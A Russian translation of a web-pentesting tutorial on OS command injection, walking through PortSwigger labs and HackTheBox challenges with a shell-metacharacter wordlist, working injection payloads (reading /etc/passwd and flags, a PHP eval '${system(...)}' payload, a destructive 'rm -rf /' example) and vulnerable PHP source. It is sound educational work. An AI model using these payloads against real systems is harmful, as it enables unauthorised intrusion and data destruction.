August 25

Использование команд ОС для эксплойтов [Complete web app pentesting series #9]

Введение

Внедрение команд - это критическая уязвимость, которая позволяет злоумышленникам выполнять несанкционированные команды в системе. В этом блоге мы рассмотрим подходы к обнаружению как "white box", так и "black box". Прежде чем мы углубимся в эту тему, мы должны понять, что такое shell metachracter и что такое payload с точки зрения командной инъекции.

Метасимволы оболочки (Cybersecurity POV)

В Linux мы используем ls ; whoami для последовательного выполнения обеих команд - ls перечисляет файлы и whoami показывает текущего пользователя. Аналогично, при внедрении команд злоумышленники используют метасимволы оболочки для проникновения вредоносных полезных данных наряду с действительными параметрами HTTP без нарушения ожидаемой функциональности приложения. Например, если приложение выполняет ping 127.0.0.1, злоумышленник мог бы отправить ping 127.0.0.1 ; cat /etc/passwd выполнить обе команды , сохранив исходный запрос нетронутым.

Определение полезной нагрузки

Полезная нагрузка состоит из метасимволов оболочки ( &, &&, |, ||, ;, \n, >, <, $()) и их версии в URL-кодировке ( %26, %26%26, %7C, %7C%7C, %3B, %0A, %3E, %3C, %24%28%29). Эти символы используются для связывания команд, выполнения команд и манипулирования ими , что делает их необходимыми для тестирования и использования уязвимостей при внедрении команд.

Подход "Black Box"

Для начала blackbox относится к сценарию, в котором у нас нет доступа к исходному коду, а при тестировании whitebox у нас есть доступ к исходному коду.

1. OS command injection, легкий кейс

https://portswigger.net/web-security/os-command-injection/lab-simple

Сначала мы пробуем различные shellmeta-chracters значения, которые приложение принимает в качестве входных данных. Вы можете использовать следующий пользовательский список слов и пробовать различные значения для каждого входного параметра, чтобы найти допустимый метасимвол оболочки. Этот список слов также содержит значения в кодировке URL.

/home/mccleod/custom via  v3.8.10 took 12s 
❯ cat shell-metachracters.txt 
&  
&&  
|  
||  
;  
\n  
>  
<  
$()  
%26  
%26%26  
%7C  
%7C%7C  
%3B  
%0A  
%3E  
%3C  
%24%28%29

Теперь в приложении мы нажимаем на все возможные кнопки и видим интересную опцию под названием check stock, а за кулисами замечаем, что это запрос POST .

Теперь давайте выполним фаззинг для метасимволов оболочки productId и storeId и посмотрим, что произойдёт. Добавьте точки вставки полезной нагрузки в следующую область и убедитесь, что выбран вариант атаки battering ram . Убедитесь, что вы скопировали и вставили полезную нагрузку из shell-metacharacters.txt. И начинайте атаку.

Мы видим пару интересных ответов. /n и $() возвращаемые числа, такие как 32 и 42 и тот $ character практически ничего не возвращает, но в то же время не выдает ошибок, как остальные метасимволы.

Обратите внимание, что не следует допускать такой ошибки, как ввод полезной нагрузки в двух точках одновременно. Почему? А что, если productId не уязвима, а storeId уязвима? В этом случае нам нужно проводить фаззинг для каждой точки отдельно, как правило, всегда проводите фаззинг для одного параметра или одной конечной точки за раз.

Интересно, что ;-символ даёт нам представление о сценарии командной оболочки и таких важных деталях, как расположение сценария. То же самое происходит, даже если ;-символ закодирован в URL.

Наконец, после долгих проб и ошибок мы увидели, что полезные данные с такими метасимволами, как %oa, | и ;, работают в полезной нагрузке. Даже url -encoded ones хорошо работают в этой лаборатории

Таким образом мы решаем задачу из лаборатории. Но помните, когда мы использовали ; в качестве входных данных, мы нашли расположение сценария оболочки? Давайте взглянем на сценарий, чтобы лучше понять, почему возникает уязвимость, связанная с внедрением команд.

Теперь, если мы используем cat команду Linux, чтобы взглянуть на stockreport.sh, то мы видим, что eval используется функция. Использование eval при несанкционированном вводе допускает выполнение произвольного кода, позволяя злоумышленнику внедрять и выполнять вредоносные команды.

2. Внедрение команд в ОС с временными задержками

https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays

Эта лаборатория очень похожа на предыдущую. Она служит хорошим дополнением к тому, что мы узнали из предыдущей лаборатории, и закрепляет полученные знания и навыки.

Шаг 1. Нажмите кнопку «Все» и найдите интересные запросы и/или конечные точки.

Шаг 2. После того как конечная точка найдена, попробуйте ввести shell-metachracters во все поля ввода, чтобы определить, какое из них сработает.

Шаг 3. Как только вы найдёте допустимые shell metachracter например | или ;, можно приступать к тестированию на внедрение команд. Попробуйте использовать такие полезные данные, как ;whoami или |whoami

Шаг 4. Поскольку эта лаборатория связана с временными задержками, мы попробуем использовать такие команды, как sleep или pinging localhost, чтобы всё это работало в циклах.

sleep 10
ping -c 127.0.0.1

Теперь, глядя на burp suite, мы видим, что в отличие от предыдущей лаборатории у нас нет check stock, но в правом верхнем углу мы видим нечто под названием submit a feedback. Давайте попробуем

Методом проб и ошибок мы выяснили, что параметр email уязвим для внедрения команд. Но что-то идёт не так, и это не работает. Даже если мы URL-ENCODE используем такие символы, как ; sleep 10 или | sleep 10, задержка всё равно сохраняется.

Помните, мы использовали разделитель в sql injection, чтобы закомментировать errors из sql syntax, которые мы вводим в качестве входных данных? При внедрении команды we can use # или символ хэша, чтобы закомментировать ошибки. Когда мы используем # и url encode это с ctrl+u, мы получаем задержку по времени на 10 секунд, что решает проблему нашей лаборатории.

3. Внедрение команд в операционную систему с перенаправлением вывода

https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection

Некоторым из вас, кто прочитает этот раздел, может показаться, что это CTFish, или вы можете даже спросить: какой смысл в перенаправлении вывода, если я могу выполнить свою команду, указав путь к серверу? Что ж, в этом есть смысл, и я включил это в список только потому, что это заставило меня мыслить нестандартно и задуматься: можем ли мы пойти дальше простого выполнения произвольных команд на сервере? Что ж, ответ — да, и в этой лабораторной работе мы выполним нашу команду, перенаправим вывод команды в текстовый файл и с помощью LFI, или локального включения файлов, прочитаем вывод. Дайте этому немного времени, и если это звучит слишком странно, то к концу этого раздела, я надеюсь, всё станет ясно.

На первый взгляд мы видим форму обратной связи, похожую на ту, что была в предыдущем упражнении. Теперь мы можем использовать фаззинг для таких метасимволов, как |, ||, ; и т. д., а также для каждого параметра. Мы видим, что в параметре name, если мы попробуем ввести что-то вроде ;whoami или |whoami, сервер ответит сообщением could not save.

Поскольку у нас нет доступа к исходному коду, лучше всего предположить, что приложение настроено таким образом, что вывод не отображается, если только он не сохранён. Напомним, что в Linux можно использовать оператор > или >> для сохранения вывода в текстовый файл. Давайте сделаем это и здесь.

Мы по-прежнему получаем ту же ошибку. Мы перенаправили вывод в /var/www/images , указанный в описании лаборатории, и создали новый файл под названием output.txt . Обратите внимание, что > создаёт новый текстовый файл.

Теперь давайте использовать # в качестве разделителя для комментирования ошибок. Мы по-прежнему получаем сообщение об ошибке, поэтому в крайнем случае можно закодировать данные с помощью URL, чтобы сервер понял запрос и ответил корректно. Вы можете использовать ctrl+u для декодирования URL в Burp Suite.

Теперь мы видим, что наша полезная нагрузка обрабатывается корректно, а в случае возникновения ошибки достаточно сбросить или перезапустить lab. Не стесняйтесь пробовать другие метасимволы оболочки, такие как & и так далее. Как же нам получить файл?

Что ж, давайте посмотрим на веб-страницу. Мы видим много изображений. Если мы нажмём правой кнопкой мыши и откроем изображение, то увидим, что URL-адрес выглядит примерно так, как показано ниже.

https://0a3c008f04204dc4821d792b006b008e.web-security-academy.net/image?filename=7.jpg

Видите параметр ?filename=7.jpg? А что, если мы заменим 7.jpg на output.txt? Сможем ли мы получить файлы из этого конкретного каталога /var/www/images? Давайте попробуем.

Когда мы меняем имя файла на output.txt, мы видим результат выполнения команды whoami и таким образом решаем задачу.

Подход к белому ящику (White Box)

1. Зазеркалье (Looking Glass)

https://app.hackthebox.com/challenges/looking%20glass/

На первый взгляд кажется, что веб-сайт пингует IP-адрес, и вы замечаете, насколько реалистичен вывод команды ping. Создаётся впечатление, что команда ping выполняется на компьютере с Linux и отображается её вывод. Если команда ping может быть выполнена, то что насчёт других команд Linux, которые могут быть выполнены сервером? Что ж, давайте попробуем выполнить следующую команду…

10.30.18.29; ls ../

Мы видим, что с помощью базового метасимвола оболочки мы можем выполнить любую команду Linux. Так что давайте не будем терять время и получим флаг.

Мы можем использовать команду cat для считывания флага.

10.30.18.29; cat ../flag_b1ubZ

Таким образом мы получаем наш флаг. Но всё не так весело: мы просто получили флаг с помощью базовой команды Linux, что определённо неинтересно.

Анализ исходного кода

Поскольку мы можем выполнять команды, давайте посмотрим, какие ещё файлы есть в каталоге, в котором мы находимся.

10.30.18.29; ls

Мы видим файл с именем index.php и можем прочитать его исходный код.

Теперь с помощью следующей команды мы можем напрямую прочитать файл index.php .

10.30.18.29; cat index.php

С помощью приведённой выше команды мы получаем исходный код для index.php. Мы сосредоточились на функции runTest, которая выглядит точно так же, как следующие строки.

function runTest($test, $ip_address)
{
    if ($test === 'ping')
    {
        system("ping -c4 ${ip_address}");
    }
    if ($test === 'traceroute')
    {
        system("traceroute ${ip_address}");
    }
}

PHP-код уязвим для внедрения команд как в функции ping, так и в функции traceroute, поскольку он использует необработанные пользовательские данные непосредственно в командах оболочки. В частности, функция runTest принимает управляемое пользователем значение из $POST[‘ip_address’] и без какой-либо фильтрации вставляет его в команды system("ping -c4 ${ip_address}") и system("traceroute ${ip_address}").

Отсутствие проверки или очистки данных означает, что злоумышленник может добавить операторы оболочки (например, ;, &&, или |) к вводу ip_address, чтобы выполнить произвольные команды (например, 8.8.8.8; rm -rf /). Кроме того, хотя поле ввода предварительно заполняется IP-адресом пользователя с помощью <?= getUserIp() ?>, его можно редактировать, что позволяет любому пользователю изменить его на вредоносное значение.

2. TimeKORP

https://app.hackthebox.com/challenges/TimeKORP

Прежде чем мы углубимся в технические детали, давайте рассмотрим возможные варианты полезной нагрузки.

'+%0a+cat+/flag+%0a+'
'%3b+cat+/flag+||+'
'%3b+cat+/flag+%3b+%23'
'%3b+cat+/flag+%3b'

Логика этой полезной нагрузки основана на исходном коде. Если говорить простыми словами, полезная нагрузка состоит из следующих элементов

[singlequote][space][shell-metacharacter][space]cat /flag[space][shellmetacharacter][singlequote]

Теперь давайте углубимся в исходный код, чтобы понять, почему всё работает и почему мы придумали эту полезную нагрузку. Помните, что даже если задача помечена как very easy, она может оказаться непростой, и некоторые метасимволы оболочки, такие как &, могут не сработать. Что ещё хуже, ls и другие команды Linux могут не дать никакого значимого результата

Теперь исходный код для этого челленджа находится не на платформе hackthebox, а в Cryptocat, где он разбит на части. Не стесняйтесь посмотреть его видео на YouTube.

Анализ исходного кода

В TimeController.php:

$format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
$time = new TimeModel($format);

В TimeModel.php:

public function __construct($format)
{
    $this->command = "date '+" . $format . "' 2>&1";
}

public function getTime()
{
    $time = exec($this->command);
    return isset($time) ? $time : '?';
}

Взглянув на TimeController.php и TimeModel.php, мы приходим к следующему выводу:

  • Прямой ввод данных пользователем в команду оболочки: параметр format, указанный пользователем, добавляется непосредственно в команду оболочки.
  • Выполнение команды оболочки: в коде используется функция exec() в PHP для выполнения команды, образующей date '+[user_input]' 2>&1.

Как работает Эксплойт:

Когда злоумышленник отправляет полезную нагрузку вида +%0a+cat+/flag+%0a+:

  • %0a представляет собой перевод строки.
  • Команда становится:
date '+
cat /flag
' 2>&1
  • Аналогичным образом полезные нагрузки, такие как ; cat /flag ;, вводят дополнительные команды, используя ; в качестве разделителя.
  • Несмотря на то, что внедрение может быть успешным, возникают ошибки «Отказано в доступе», поскольку веб-приложение работает с ограниченными правами, что препятствует доступу к конфиденциальным файлам.

Это классическая уязвимость, связанная с внедрением команд (CWE-78) из-за недостаточной очистки и проверки входных данных.

3. LoveTok

https://app.hackthebox.com/challenges/LoveTok/walkthroughs

Теперь в этом приложении у нас есть параметр format и уникальная полезная нагрузка, созданная на основе исходного кода. Сначала давайте посмотрим на полезную нагрузку. Затем мы углубимся во внутреннюю механику

/?format=${system($_GET[1])}&1=whoami
${system($_GET[cmd])}&cmd=ls /

Мы видим, что, несмотря на ошибку, нам удалось успешно выполнить такие команды, как whoami в веб-приложении.

Анализ исходного кода

Для этого приложения нам предоставлен почтовый индекс, и есть четыре основные php страницы, которые привлекают наше внимание:

а. TimeModel.php

class TimeModel
{
    public function __construct($format)
    {
        // The format string is “sanitized” by addslashes
        $this->format = addslashes($format);

        // A time offset string is built using random values.
        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }
    
    public function getTime()
    {
        // The critical part: eval() is used to build a date string
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

Что происходит в приведённом выше фрагменте кода?

  • Обработка входных данных: Конструктор принимает параметр $format . Он использует addslashes() для экранирования определённых символов (например, кавычек, обратной косой черты). Однако экранирования с помощью addslashes() недостаточно, если входные данные впоследствии используются в контексте eval() .
  • Создание динамического кода: в getTime() код формирует PHP-выражение, которое вызывает date(). Оно объединяет (экранированную) строку формата непосредственно со строкой кода, а затем передает ее в eval().
  • Риск: Поскольку eval() обрабатывает вводимые данные как PHP-код, любая инъекция кода в $format будет выполнена на сервере.

b. TimeController.php

class TimeController
{
    public function index($router)
    {
        // Directly taking a GET parameter and passing it to TimeModel
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

Что происходит в приведённом выше фрагменте кода?

  • Контроллер получает параметр format из URL-адреса (то есть из пользовательского ввода) и передаёт его непосредственно в TimeModel без дополнительной очистки.
  • Это означает, что злоумышленник может указать вредоносную строку в параметре format.

c. index.php и Router.php

// index.php snippet:
date_default_timezone_set('UTC');
spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});
$router = new Router();
$router->new('GET', '/', 'TimeController@index');
$response = $router->match();
die($response);

Что происходит в приведённом выше фрагменте кода?

  • Файл настраивает автозагрузку классов, определяет базовый маршрут (сопоставление корневого URL / с TimeController@index), а затем обрабатывает запрос.
    • Здесь нет дополнительной очистки — уязвимость распространяется от пользовательского ввода до самого TimeModel.

Как работает полезная нагрузка эксплойта

Указанная полезная нагрузка равна:

/?format=${system($_GET[1])}&1=whoami

Давайте разберёмся:

а. Компоненты полезной нагрузки

  • format параметр:
    Переданное значение равно
    ${system($_GET[1])}
    В контексте кода после addslashes() значение по-прежнему находится внутри строки, которая в конечном итоге передаётся в eval().
  • 1 параметр:
    Этот параметр имеет значение whoami. Доступ к нему в внедренном коде осуществляется через $_GET[1].
b. Механика инжекта
  1. Создание строки:
    Переданный пользователем параметр format (после addslashes()) по сути остаётся ${system($_GET[1])}. Несмотря на то, что некоторые символы экранированы, опасный код всё ещё присутствует.
  2. Использование eval():
    При вызове eval() создается и выполняется PHP-выражение, которое выглядит следующим образом:
$time = date("${system($_GET[1])}", strtotime("..."));

Поскольку строка заключена в двойные кавычки, PHP обрабатывает синтаксис ${...} и выполняет код внутри него.

  1. Выполнение кода:
    Выражение ${system($_GET[1])} запускает функцию system() с параметром $_GET[1]. Поскольку в URL-адресе указано &1=whoami, выполняется system("whoami").
  2. Результат:
    Отображается вывод команды whoami, подтверждающий, что на сервере можно выполнять произвольные команды.
Почему addslashes() здесь не работает
  • Цель addslashes():
    Эта функция предназначена для экранирования кавычек и обратных косых черт, чтобы строки можно было безопасно использовать в таких контекстах, как запросы к базе данных (для предотвращения простого SQL-инъекционного кода).
  • Не подходит для eval():
    • addslashes() не нейтрализует PHP-код, когда этот код впоследствии выполняется с помощью eval().
    • Опасные части (например, синтаксис ${...} для вызова переменных и функций) не удаляются.
    • Таким образом, даже после экранирования вредоносная строка по-прежнему содержит исполняемый PHP-код внутри вызова eval() .

Оригинальная статья | Перевод: THREAD